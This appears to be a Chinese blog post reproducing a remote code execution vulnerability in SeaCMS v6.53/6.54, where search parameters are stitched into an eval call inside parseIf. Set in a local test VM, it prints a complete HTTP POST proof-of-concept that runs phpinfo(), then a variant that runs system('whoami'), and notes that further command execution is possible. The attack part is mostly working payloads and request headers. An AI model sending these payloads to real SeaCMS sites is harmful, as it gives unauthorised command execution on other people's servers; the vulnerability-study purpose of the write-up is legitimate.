海洋cms v6.53 v6.54版本漏洞復現
參考鏈接:
今天發現freebuf上一篇海洋cms的漏洞,來復現一下。
http://www.freebuf.com/vuls/150042.html
漏洞原理:
文章里說的很清楚echoSearchPage函數中的content變量傳給了parself函數,跟蹤代碼,找到./include/main.class.php,可以看到parseIf函數會將content內容eval執行,造成命令執行。
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
通過POC可以看出,通過對參數進行了替換之后,content中已經包含了如下攻擊payload:if:eval(join($_POST[9]))
跟蹤代碼,找到./include/main.class.php,可以看到parseIf函數會將content內容eval執行,造成命令執行。
使用環境:
win7 64位虛擬機 + phpstudy
seacms(v6.53).rar 在網盤里面找相應名字
網上現在最新的是6.55的已經修復了,這留個測試副本。
具體復現步驟:
下面是自建的測試網站,建站上用的phpstudy沒有任何問題
安裝完成界面
http://192.168.19.130/seacms/install/index.php
首頁
http://192.168.19.130/seacms/
后台
http://192.168.19.130/seacms/admin/login.php?gotopage=%2Fseacms%2Fadmin%2F
這幾個地址可以記錄一下
網上提供的POC
POST /seacms/search.php HTTP/1.1
Host: 192.168.19.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Referer: http://192.168.19.130/seacms/search.php
Cookie: a4207_times=1; PHPSESSID=kdb0jv3umhhso2o37jbtrsk9t4
Connection: close
Upgrade-Insecure-Requests: 1
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
執行結果,可見寫入9[]的代碼被執行
進一步利用,可以執行系統命令,剩下的就不多說了。
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");
好了,收工。